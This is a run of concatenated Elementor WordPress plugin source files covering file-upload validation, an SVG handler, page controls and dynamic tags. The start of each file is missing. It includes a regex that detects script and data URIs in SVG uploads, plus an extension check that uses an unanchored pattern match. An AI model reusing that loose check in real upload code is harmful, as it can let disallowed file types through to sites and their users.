$this->allowed_file_extensions[] = $file_extension; } } /** * Save Base64 as File * * Saves a Base64 string as a .tmp file in Elementor's temporary files directory. * * @since 3.3.0 * @access private * * @param $file * @param array|null $allowed_file_extensions * * @return array|\WP_Error */ private function save_base64_to_tmp_file( $file, $allowed_file_extensions = null ) { if ( empty( $file['fileName'] ) || empty( $file['fileData'] ) ) { return new \WP_Error( 'file_error', self::INVALID_FILE_CONTENT ); } $file_extension = pathinfo( $file['fileName'], PATHINFO_EXTENSION ); $is_file_type_allowed = $this->is_file_type_allowed( $file_extension, $allowed_file_extensions ); if ( is_wp_error( $is_file_type_allowed ) ) { return $is_file_type_allowed; } $file_content = base64_decode( $file['fileData'] ); // phpcs:ignore // If the decode fails if ( ! $file_content ) { return new \WP_Error( 'file_error', self::INVALID_FILE_CONTENT ); } $temp_filename = $this->create_temp_file( $file_content, $file['fileName'] ); if ( is_wp_error( $temp_filename ) ) { return $temp_filename; } return [ // the original uploaded file name 'name' => $file['fileName'], // The path to the temporary file 'tmp_name' => $temp_filename, ]; } /** * Validate File * * @since 3.3.0 * @access private * * @param array $file * @param array $file_extensions Optional * @return bool|\WP_Error */ private function validate_file( array $file, $file_extensions = [] ) { $uploaded_file_name = isset( $file['name'] ) ? $file['name'] : $file['tmp_name']; $file_extension = pathinfo( $uploaded_file_name, PATHINFO_EXTENSION ); if ( ! $this->is_elementor_wp_media_upload() ) { $is_file_type_allowed = $this->is_file_type_allowed( $file_extension, $file_extensions ); if ( is_wp_error( $is_file_type_allowed ) ) { return $is_file_type_allowed; } } $file_type_handler = $this->get_file_type_handlers( $file_extension ); // If Elementor does not have a handler for this file type, don't block it. if ( ! $file_type_handler ) { return true; } // If there is a File Type Handler for the uploaded file, it means it is a non-standard file type. In this case, // we check if unfiltered file uploads are enabled or not before allowing it. if ( ! self::are_unfiltered_uploads_enabled() ) { $error = 'json' === $file_extension ? esc_html__( 'You do not have permission to upload JSON files.', 'elementor' ) : esc_html__( 'This file is not allowed for security reasons.', 'elementor' ); return new \WP_Error( Exceptions::FORBIDDEN, $error ); } // Here is each file type handler's chance to run its own specific validations return $file_type_handler->validate_file( $file ); } /** * Is File Type Allowed * * Checks whether the passed file extension is allowed for upload. * * @since 3.5.0 * @access private * * @param $file_extension * @param $filtered_file_extensions * @return bool|\WP_Error */ private function is_file_type_allowed( $file_extension, $filtered_file_extensions ) { $allowed_file_extensions = $this->get_allowed_file_extensions(); if ( $filtered_file_extensions ) { $allowed_file_extensions = array_intersect( $allowed_file_extensions, $filtered_file_extensions ); } $is_allowed = false; // Check if the file type (extension) is in the allowed extensions list. If it is a non-standard file type (not // enabled by default in WordPress) and unfiltered file uploads are not enabled, it will not be in the allowed // file extensions list. foreach ( $allowed_file_extensions as $allowed_extension ) { if ( preg_match( '/' . $allowed_extension . '/', $file_extension ) ) { $is_allowed = true; break; } } if ( ! $is_allowed ) { $is_allowed = new \WP_Error( Exceptions::FORBIDDEN, 'Uploading this file type is not allowed.' ); } /** * Elementor File Type Allowed * * Allows setting file types * * @since 3.5.0 * * @param bool|\WP_Error $is_allowed */ return apply_filters( 'elementor/files/allow-file-type/' . $file_extension, $is_allowed ); } /** * Remove Directory with Files * * @since 3.3.0 * @access private * * @param string $dir * @return bool */ private function remove_directory_with_files( $dir ) { $dir_iterator = new \RecursiveDirectoryIterator( $dir, \RecursiveDirectoryIterator::SKIP_DOTS ); foreach ( new \RecursiveIteratorIterator( $dir_iterator, \RecursiveIteratorIterator::CHILD_FIRST ) as $name => $item ) { if ( is_dir( $name ) ) { rmdir( $name ); } elseif ( is_file( $name ) ) { unlink( $name ); } } return rmdir( $dir ); } /** * Get Allowed File Extensions * * Retrieve an array containing the list of file extensions allowed for upload. * * @since 3.3.0 * @access private * * @return array file extension/s */ private function get_allowed_file_extensions() { if ( ! $this->allowed_file_extensions ) { $this->allowed_file_extensions = array_keys( get_allowed_mime_types() ); foreach ( $this->get_file_type_handlers() as $file_type => $handler ) { if ( $handler->is_upload_allowed() ) { // Add the file extension to the allowed extensions list only if unfiltered files upload is enabled. $this->add_file_extension_to_allowed_extensions_list( $file_type ); } } } return $this->allowed_file_extensions; } public function __construct() { $this->register_file_types(); add_filter( 'upload_mimes', [ $this, 'support_unfiltered_elementor_file_uploads' ] ); add_filter( 'wp_handle_upload_prefilter', [ $this, 'handle_elementor_wp_media_upload' ] ); add_filter( 'wp_check_filetype_and_ext', [ $this, 'check_filetype_and_ext' ], 10, 4 ); // Ajax. add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); } } core/files/manager.php000064400000011412147206604650010732 0ustar00register_actions(); } public function get( $class, $args ) { $id = $class . '-' . wp_json_encode( $args ); if ( ! isset( $this->files[ $id ] ) ) { // Create an instance from dynamic args length. $reflection_class = new \ReflectionClass( $class ); $this->files[ $id ] = $reflection_class->newInstanceArgs( $args ); } return $this->files[ $id ]; } /** * On post delete. * * Delete post CSS immediately after a post is deleted from the database. * * Fired by `deleted_post` action. * * @since 1.2.0 * @access public * * @param string $post_id Post ID. */ public function on_delete_post( $post_id ) { if ( ! Utils::is_post_support( $post_id ) ) { return; } $css_file = Post_CSS::create( $post_id ); $css_file->delete(); } /** * On export post meta. * * When exporting data using WXR, skip post CSS file meta key. This way the * export won't contain the post CSS file data used by Elementor. * * Fired by `wxr_export_skip_postmeta` filter. * * @since 1.2.0 * @access public * * @param bool $skip Whether to skip the current post meta. * @param string $meta_key Current meta key. * * @return bool Whether to skip the post CSS meta. */ public function on_export_post_meta( $skip, $meta_key ) { if ( Post_CSS::META_KEY === $meta_key ) { $skip = true; } return $skip; } /** * Clear cache. * * Delete all meta containing files data. And delete the actual * files from the upload directory. * * @since 1.2.0 * @access public */ public function clear_cache() { // Delete files. $path = Base::get_base_uploads_dir() . Base::DEFAULT_FILES_DIR . '*'; foreach ( glob( $path ) as $file_path ) { unlink( $file_path ); } delete_post_meta_by_key( Post_CSS::META_KEY ); delete_post_meta_by_key( Document_Base::CACHE_META_KEY ); delete_post_meta_by_key( Assets::ASSETS_META_KEY ); delete_option( Global_CSS::META_KEY ); delete_option( Frontend::META_KEY ); $this->reset_assets_data(); /** * Elementor clear files. * * Fires after Elementor clears files * * @since 2.1.0 */ do_action( 'elementor/core/files/clear_cache' ); } public function clear_custom_image_sizes() { if ( ! defined( 'BFITHUMB_UPLOAD_DIR' ) ) { return; } $upload_info = wp_upload_dir(); $upload_dir = $upload_info['basedir'] . '/' . BFITHUMB_UPLOAD_DIR; $path = $upload_dir . '/*'; foreach ( glob( $path ) as $file_path ) { unlink( $file_path ); } } /** * Register Ajax Actions * * Deprecated - use the Uploads Manager instead. * * @deprecated 3.5.0 * * @param Ajax $ajax */ public function register_ajax_actions( Ajax $ajax ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); Plugin::$instance->uploads_manager->register_ajax_actions( $ajax ); } /** * Ajax Unfiltered Files Upload * * Deprecated - use the Uploads Manager instead. * * @deprecated 3.5.0 */ public function ajax_unfiltered_files_upload() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); Plugin::$instance->uploads_manager->enable_unfiltered_files_upload(); } /** * Register actions. * * Register filters and actions for the files manager. * * @since 1.2.0 * @access private */ private function register_actions() { add_action( 'deleted_post', [ $this, 'on_delete_post' ] ); add_filter( 'wxr_export_skip_postmeta', [ $this, 'on_export_post_meta' ], 10, 2 ); add_action( 'update_option_home', function () { $this->reset_assets_data(); } ); add_action( 'update_option_siteurl', function () { $this->reset_assets_data(); } ); } /** * Reset Assets Data. * * Reset the page assets data. * * @since 3.3.0 * @access private */ private function reset_assets_data() { delete_option( Page_Assets_Data_Manager::ASSETS_DATA_KEY ); } } core/files/assets/svg/svg-handler.php000064400000015541147206604650013642 0ustar00uploads_manager->get_file_type_handlers( 'svg' );` */ class Svg_Handler extends Files_Upload_Handler { /** * Inline svg attachment meta key * * @deprecated 3.5.0 */ const META_KEY = '_elementor_inline_svg'; /** * @deprecated 3.5.0 */ const SCRIPT_REGEX = '/(?:\w+script|data):/xi'; /** * Attachment ID. * * Holds the current attachment ID. * * @deprecated 3.5.0 * * @var int */ private $attachment_id; /** * @deprecated 3.5.0 */ public static function get_name() { return 'svg-handler'; } /** * get_meta * * @deprecated 3.5.0 * * @return mixed */ protected function get_meta() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); return get_post_meta( $this->attachment_id, self::META_KEY, true ); } /** * update_meta * * @deprecated 3.5.0 * * @param $meta */ protected function update_meta( $meta ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); update_post_meta( $this->attachment_id, self::META_KEY, $meta ); } /** * delete_meta * * @deprecated 3.5.0 */ protected function delete_meta() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); delete_post_meta( $this->attachment_id, self::META_KEY ); } /** * @deprecated 3.5.0 */ public function get_mime_type() { return 'image/svg+xml'; } /** * @deprecated 3.5.0 */ public function get_file_type() { return 'svg'; } /** * delete_meta_cache * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->delete_meta_cache()` instead. */ public function delete_meta_cache() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->delete_meta_cache()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); $svg_handler->delete_meta_cache(); } /** * get_inline_svg * * @deprecated 3.5.0 Use `Elementor\Core\Files\File_Types\Svg::get_inline_svg()` instead. * * @param $attachment_id * * @return bool|mixed|string */ public static function get_inline_svg( $attachment_id ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Core\Files\File_Types\Svg::get_inline_svg()' ); return Svg::get_inline_svg( $attachment_id ); } /** * sanitize_svg * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->delete_meta_cache()->sanitize_svg()` instead. * * @param $filename * * @return bool */ public function sanitize_svg( $filename ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->delete_meta_cache()->sanitize_svg()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->sanitize_svg( $filename ); } /** * sanitizer * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->sanitizer()` instead. * * @param $content * * @return bool|string */ public function sanitizer( $content ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->sanitizer()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->sanitizer( $content ); } /** * wp_prepare_attachment_for_js * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->wp_prepare_attachment_for_js()` instead. * * @param $attachment_data * @param $attachment * @param $meta * * @return mixed */ public function wp_prepare_attachment_for_js( $attachment_data, $attachment, $meta ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->wp_prepare_attachment_for_js()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->wp_prepare_attachment_for_js( $attachment_data, $attachment, $meta ); } /** * set_attachment_id * * @deprecated 3.5.0 * * @param $attachment_id * * @return int */ public function set_attachment_id( $attachment_id ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); $this->attachment_id = $attachment_id; return $this->attachment_id; } /** * get_attachment_id * * @deprecated 3.5.0 * * @return int */ public function get_attachment_id() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); return $this->attachment_id; } /** * set_svg_meta_data * * @deprecated 3.5.0 Use `Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' )->set_svg_meta_data()` instead. * * @return mixed */ public function set_svg_meta_data( $data, $id ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Plugin::$instance->uploads_manager->get_file_type_handlers( \'svg\' )->set_svg_meta_data()' ); /** @var Svg $svg_handler */ $svg_handler = Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ); return $svg_handler->set_svg_meta_data( $data, $id ); } /** * handle_upload_prefilter * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()` instead. * * @param $file * * @return mixed */ public function handle_upload_prefilter( $file ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()' ); return Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload( $file ); } } core/files/assets/files-upload-handler.php000064400000010527147206604650014627 0ustar00uploads_manager->are_unfiltered_uploads_enabled()` instead. * * @return bool */ private function is_elementor_media_upload() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()' ); return Plugin::$instance->uploads_manager->is_elementor_media_upload(); } /** * Is Enabled * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()` instead. * * @return bool */ final public static function is_enabled() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()' ); return Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled(); } /** * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->are_unfiltered_uploads_enabled()` instead. */ final public function support_unfiltered_files_upload( $existing_mimes ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->support_unfiltered_file_uploads()' ); return Plugin::$instance->uploads_manager->support_unfiltered_elementor_file_uploads( $existing_mimes ); } /** * handle_upload_prefilter * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()` instead. * * @param $file * * @return mixed */ public function handle_upload_prefilter( $file ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload()' ); return Plugin::$instance->uploads_manager->handle_elementor_wp_media_upload( $file ); } /** * is_file_should_handled * * @deprecated 3.5.0 * * @param $file * * @return bool */ protected function is_file_should_handled( $file ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); $ext = pathinfo( $file['name'], PATHINFO_EXTENSION ); return $this->is_elementor_media_upload() && $this->get_file_type() === $ext; } /** * file_sanitizer_can_run * * @deprecated 3.5.0 Use `Elementor\Core\Files\File_Types\Svg::file_sanitizer_can_run()` instead. * * @return bool */ public static function file_sanitizer_can_run() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Core\Files\File_Types\Svg::file_sanitizer_can_run()' ); return Svg::file_sanitizer_can_run(); } /** * Check filetype and ext * * A workaround for upload validation which relies on a PHP extension (fileinfo) * with inconsistent reporting behaviour. * ref: https://core.trac.wordpress.org/ticket/39550 * ref: https://core.trac.wordpress.org/ticket/40175 * * @deprecated 3.5.0 Use `Elementor\Plugin::$instance->uploads_manager->check_filetype_and_ext()` instead. * * @param $data * @param $file * @param $filename * @param $mimes * * @return mixed */ public function check_filetype_and_ext( $data, $file, $filename, $mimes ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'Elementor\Plugin::$instance->uploads_manager->check_filetype_and_ext()' ); Plugin::$instance->uploads_manager->check_filetype_and_ext( $data, $file, $filename, $mimes ); } } core/files/assets/manager.php000064400000002325147206604650012237 0ustar00register_asset_types(); /** * Elementor files assets registered. * * Fires after Elementor registers assets types * * @since 2.6.0 */ do_action( 'elementor/core/files/assets/assets_registered', $this ); } public function get_asset( $name ) { return isset( $this->asset_types[ $name ] ) ? $this->asset_types[ $name ] : false; } /** * Add Asset * @param $instance */ public function add_asset( $instance ) { $this->asset_types[ $instance::get_name() ] = $instance; } /** * Register Asset Types * * Registers Elementor Asset Types */ private function register_asset_types() { $this->add_asset( new Svg_Handler() ); } } core/files/assets/json/json-handler.php000064400000001302147206604650014154 0ustar00uploads_manager->get_file_type_handlers( 'svg' );` */ class Json_Handler extends Files_Upload_Handler { /** * @deprecated 3.5.0 */ public static function get_name() { return 'json-handler'; } /** * @deprecated 3.5.0 */ public function get_mime_type() { return 'application/json'; } /** * @deprecated 3.5.0 */ public function get_file_type() { return 'json'; } } core/document-types/page.php000064400000002050147206604650012110 0ustar00 [ 'title' => esc_html__( 'Single', 'elementor' ), 'active' => false, 'promotion' => [ 'url' => esc_url( 'https://go.elementor.com/go-pro-section-single-widget-panel/' ), ], ], ] ); } /** * @since 2.0.0 * @access public */ public function get_css_wrapper_selector() { return 'body.elementor-page-' . $this->get_main_id(); } /** * @since 3.1.0 * @access protected */ protected function register_controls() { parent::register_controls(); static::register_hide_title_control( $this ); static::register_post_fields_control( $this ); static::register_style_controls( $this ); } /** * @since 2.0.0 * @access public * @static * @param Document $document */ public static function register_hide_title_control( $document ) { $document->start_injection( [ 'of' => 'post_status', 'fallback' => [ 'of' => 'post_title', ], ] ); $document->add_control( 'hide_title', [ 'label' => esc_html__( 'Hide Title', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'description' => sprintf( /* translators: 1: Link open tag, 2: Link close tag. */ esc_html__( 'Set a different selector for the title in the %1$sLayout panel%2$s.', 'elementor' ), '', '' ), 'separator' => 'before', 'selectors' => [ ':root' => '--page-title-display: none', ], ] ); $document->end_injection(); } /** * @since 2.0.0 * @access public * @static * @param Document $document */ public static function register_style_controls( $document ) { $document->start_controls_section( 'section_page_style', [ 'label' => esc_html__( 'Body Style', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $document->add_responsive_control( 'margin', [ 'label' => esc_html__( 'Margin', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}', ], ] ); $document->add_responsive_control( 'padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}', ], ] ); $document->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'background', 'separator' => 'before', 'fields_options' => [ 'image' => [ // Currently isn't supported. 'dynamic' => [ 'active' => false, ], ], ], ] ); $document->end_controls_section(); Plugin::$instance->controls_manager->add_custom_css_controls( $document ); } public static function get_labels() : array { $plural_label = static::get_plural_title(); $singular_label = static::get_title(); $labels = [ 'name' => $plural_label, // Already translated. 'singular_name' => $singular_label, // Already translated. 'all_items' => sprintf( __( 'All %s', 'elementor' ), $plural_label ), 'add_new' => esc_html__( 'Add New', 'elementor' ), 'add_new_item' => sprintf( __( 'Add New %s', 'elementor' ), $singular_label ), 'edit_item' => sprintf( __( 'Edit %s', 'elementor' ), $singular_label ), 'new_item' => sprintf( __( 'New %s', 'elementor' ), $singular_label ), 'view_item' => sprintf( __( 'View %s', 'elementor' ), $singular_label ), 'search_items' => sprintf( __( 'Search %s', 'elementor' ), $plural_label ), 'not_found' => sprintf( __( 'No %s found.', 'elementor' ), strtolower( $plural_label ) ), 'not_found_in_trash' => sprintf( __( 'No %s found in Trash.', 'elementor' ), strtolower( $plural_label ) ), 'parent_item_colon' => '', 'menu_name' => $plural_label, ]; return $labels; } /** * @since 2.0.0 * @access public * @static * @param Document $document */ public static function register_post_fields_control( $document ) { $document->start_injection( [ 'of' => 'post_status', 'fallback' => [ 'of' => 'post_title', ], ] ); if ( post_type_supports( $document->post->post_type, 'excerpt' ) ) { $document->add_control( 'post_excerpt', [ 'label' => esc_html__( 'Excerpt', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'default' => $document->post->post_excerpt, 'separator' => 'before', 'ai' => [ 'type' => 'excerpt', ], ] ); } if ( current_theme_supports( 'post-thumbnails' ) && post_type_supports( $document->post->post_type, 'thumbnail' ) ) { $document->add_control( 'post_featured_image', [ 'label' => esc_html__( 'Featured Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'default' => [ 'id' => get_post_thumbnail_id(), 'url' => (string) get_the_post_thumbnail_url( $document->post->ID ), ], 'separator' => 'before', ] ); } if ( is_post_type_hierarchical( $document->post->post_type ) ) { $document->add_control( 'menu_order', [ 'label' => esc_html__( 'Order', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'default' => $document->post->menu_order, 'separator' => 'before', ] ); } if ( post_type_supports( $document->post->post_type, 'comments' ) ) { $document->add_control( 'comment_status', [ 'label' => esc_html__( 'Allow Comments', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'return_value' => 'open', 'default' => $document->post->comment_status, 'separator' => 'before', ] ); } $document->end_injection(); } /** * @since 2.0.0 * @access public * * @param array $data * * @throws \Exception */ public function __construct( array $data = [] ) { if ( $data ) { $template = get_post_meta( $data['post_id'], '_wp_page_template', true ); if ( empty( $template ) ) { $template = 'default'; } $data['settings']['template'] = $template; } parent::__construct( $data ); } protected function get_remote_library_config() { $config = parent::get_remote_library_config(); $config['category'] = ''; $config['type'] = 'block'; $config['default_route'] = 'templates/blocks'; return $config; } } core/document-types/post.php000064400000002050147206604650012161 0ustar00get_settings(); ob_start(); $this->render(); $value = ob_get_clean(); if ( ! Utils::is_empty( $value ) ) { // TODO: fix spaces in `before`/`after` if WRAPPED_TAG ( conflicted with .elementor-tag { display: inline-flex; } ); if ( ! Utils::is_empty( $settings, 'before' ) ) { $value = wp_kses_post( $settings['before'] ) . $value; } if ( ! Utils::is_empty( $settings, 'after' ) ) { $value .= wp_kses_post( $settings['after'] ); } if ( static::WRAPPED_TAG ) : $value = '' . $value . ''; endif; } elseif ( ! Utils::is_empty( $settings, 'fallback' ) ) { $value = wp_kses_post_deep( $settings['fallback'] ); } return $value; } /** * @since 2.0.0 * @access public */ final public function get_content_type() { return 'ui'; } /** * @since 2.0.9 * @access public */ public function get_editor_config() { $config = parent::get_editor_config(); $config['wrapped_tag'] = $this::WRAPPED_TAG; return $config; } /** * @since 2.0.0 * @access protected */ protected function register_advanced_section() { $this->start_controls_section( 'advanced', [ 'label' => esc_html__( 'Advanced', 'elementor' ), ] ); $this->add_control( 'before', [ 'label' => esc_html__( 'Before', 'elementor' ), 'ai' => [ 'active' => false, ], ] ); $this->add_control( 'after', [ 'label' => esc_html__( 'After', 'elementor' ), 'ai' => [ 'active' => false, ], ] ); $this->add_control( 'fallback', [ 'label' => esc_html__( 'Fallback', 'elementor' ), 'ai' => [ 'active' => false, ], ] ); $this->end_controls_section(); } } core/dynamic-tags/manager.php000064400000026121147206604650012213 0ustar00add_actions(); } /** * Parse dynamic tags text. * * Receives the dynamic tag text, and returns a single value or multiple values * from the tag callback function. * * @since 2.0.0 * @access public * * @param string $text Dynamic tag text. * @param array $settings The dynamic tag settings. * @param callable $parse_callback The functions that renders the dynamic tag. * * @return string|string[]|mixed A single string or an array of strings with * the return values from each tag callback * function. */ public function parse_tags_text( $text, array $settings, callable $parse_callback ) { if ( ! empty( $settings['returnType'] ) && 'object' === $settings['returnType'] ) { $value = $this->parse_tag_text( $text, $settings, $parse_callback ); } else { $value = preg_replace_callback( '/\[' . self::TAG_LABEL . '.+?(?=\])\]/', function( $tag_text_match ) use ( $settings, $parse_callback ) { return $this->parse_tag_text( $tag_text_match[0], $settings, $parse_callback ); }, $text ); } return $value; } /** * Parse dynamic tag text. * * Receives the dynamic tag text, and returns the value from the callback * function. * * @since 2.0.0 * @access public * * @param string $tag_text Dynamic tag text. * @param array $settings The dynamic tag settings. * @param callable $parse_callback The functions that renders the dynamic tag. * * @return string|array|mixed If the tag was not found an empty string or an * empty array will be returned, otherwise the * return value from the tag callback function. */ public function parse_tag_text( $tag_text, array $settings, callable $parse_callback ) { $tag_data = $this->tag_text_to_tag_data( $tag_text ); if ( ! $tag_data ) { if ( ! empty( $settings['returnType'] ) && 'object' === $settings['returnType'] ) { return []; } return ''; } return call_user_func_array( $parse_callback, array_values( $tag_data ) ); } /** * @since 2.0.0 * @access public * * @param string $tag_text * * @return array|null */ public function tag_text_to_tag_data( $tag_text ) { preg_match( '/id="(.*?(?="))"/', $tag_text, $tag_id_match ); preg_match( '/name="(.*?(?="))"/', $tag_text, $tag_name_match ); preg_match( '/settings="(.*?(?="]))/', $tag_text, $tag_settings_match ); if ( ! $tag_id_match || ! $tag_name_match || ! $tag_settings_match ) { return null; } return [ 'id' => $tag_id_match[1], 'name' => $tag_name_match[1], 'settings' => json_decode( urldecode( $tag_settings_match[1] ), true ), ]; } /** * Dynamic tag to text. * * Retrieve the shortcode that represents the dynamic tag. * * @since 2.0.0 * @access public * * @param Base_Tag $tag An instance of the dynamic tag. * * @return string The shortcode that represents the dynamic tag. */ public function tag_to_text( Base_Tag $tag ) { return sprintf( '[%1$s id="%2$s" name="%3$s" settings="%4$s"]', self::TAG_LABEL, $tag->get_id(), $tag->get_name(), urlencode( wp_json_encode( $tag->get_settings(), JSON_FORCE_OBJECT ) ) ); } /** * @since 2.0.0 * @access public * @param string $tag_id * @param string $tag_name * @param array $settings * * @return string */ public function tag_data_to_tag_text( $tag_id, $tag_name, array $settings = [] ) { $tag = $this->create_tag( $tag_id, $tag_name, $settings ); if ( ! $tag ) { return ''; } return $this->tag_to_text( $tag ); } /** * @since 2.0.0 * @access public * @param string $tag_id * @param string $tag_name * @param array $settings * * @return Tag|null */ public function create_tag( $tag_id, $tag_name, array $settings = [] ) { $tag_info = $this->get_tag_info( $tag_name ); if ( ! $tag_info ) { return null; } $tag_class = $tag_info['class']; return new $tag_class( [ 'settings' => $settings, 'id' => $tag_id, ] ); } /** * @since 2.0.0 * @access public * * @param $tag_id * @param $tag_name * @param array $settings * * @return null|string */ public function get_tag_data_content( $tag_id, $tag_name, array $settings = [] ) { if ( self::MODE_REMOVE === $this->parsing_mode ) { return null; } $tag = $this->create_tag( $tag_id, $tag_name, $settings ); if ( ! $tag ) { return null; } return $tag->get_content(); } /** * @since 2.0.0 * @access public * * @param $tag_name * * @return mixed|null */ public function get_tag_info( $tag_name ) { $tags = $this->get_tags(); if ( empty( $tags[ $tag_name ] ) ) { return null; } return $tags[ $tag_name ]; } /** * @since 2.0.9 * @access public */ public function get_tags() { if ( ! did_action( 'elementor/dynamic_tags/register_tags' ) ) { /** * Register dynamic tags. * * Fires when Elementor registers dynamic tags. * * @since 2.0.9 * @deprecated 3.5.0 Use `elementor/dynamic_tags/register` hook instead. * * @param Manager $this Dynamic tags manager. */ Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->do_deprecated_action( 'elementor/dynamic_tags/register_tags', [ $this ], '3.5.0', 'elementor/dynamic_tags/register' ); } if ( ! did_action( 'elementor/dynamic_tags/register' ) ) { /** * Register dynamic tags. * * Fires when Elementor registers dynamic tags. * * @since 3.5.0 * * @param Manager $this Dynamic tags manager. */ do_action( 'elementor/dynamic_tags/register', $this ); } return $this->tags_info; } /** * @since 2.0.0 * @access public * @deprecated 3.5.0 Use `register()` method instead. * * @param string $class */ public function register_tag( $class ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'register()' ); /** @var Base_Tag $tag */ $instance = new $class(); $this->register( $instance ); } /** * Register a new Dynamic Tag. * * @param Base_Tag $dynamic_tag_instance * * @return void * @since 3.5.0 * @access public * */ public function register( Base_Tag $dynamic_tag_instance ) { $this->tags_info[ $dynamic_tag_instance->get_name() ] = [ 'class' => get_class( $dynamic_tag_instance ), 'instance' => $dynamic_tag_instance, ]; } /** * @since 2.0.9 * @access public * @deprecated 3.5.0 Use `unregister()` method instead. * * @param string $tag_name */ public function unregister_tag( $tag_name ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'unregister()' ); $this->unregister( $tag_name ); } /** * Unregister a dynamic tag. * * @since 3.5.0 * @access public * * @param string $tag_name Dynamic Tag name to unregister. * * @return void */ public function unregister( $tag_name ) { unset( $this->tags_info[ $tag_name ] ); } /** * @since 2.0.0 * @access public * * @param 